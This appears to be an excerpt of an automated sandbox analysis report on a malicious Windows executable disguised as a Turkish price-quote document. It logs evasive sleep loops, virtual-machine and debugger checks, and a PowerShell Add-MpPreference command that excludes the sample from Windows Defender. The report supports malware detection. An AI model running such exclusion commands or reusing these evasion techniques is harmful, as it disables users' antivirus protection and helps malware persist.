Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594640	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6911	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2391	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Window / User API: threadDelayed 1986	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Window / User API: threadDelayed 7867	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Window / User API: foregroundWindowGot 1755	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7224	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -34126476536362649s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7708	Thread sleep count: 1986 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7708	Thread sleep count: 7867 > 30	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -599015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -598030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597371s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -597046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596936s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596276s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595624s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -594749s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe TID: 7660	Thread sleep time: -594640s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597371	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596936	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596276	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 594640	Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: VMware
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.8.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.8.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.8.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.8.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.8.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.8.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000000.00000002.1519490045.0000000003758000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: gMMLfb6ibedfHvMciwL
Source: Amcache.hve.8.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.8.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.8.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.8.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.8.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.8.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.8.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.8.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.8.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3708842745.0000000001067000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla"Y
Source: Amcache.hve.8.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.8.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process created: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe "C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe"			Jump to behavior

Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002FC5000.00000004.00000800.00020000.00000000.sdmp, fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe, 00000005.00000002.3710704930.0000000002F9A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
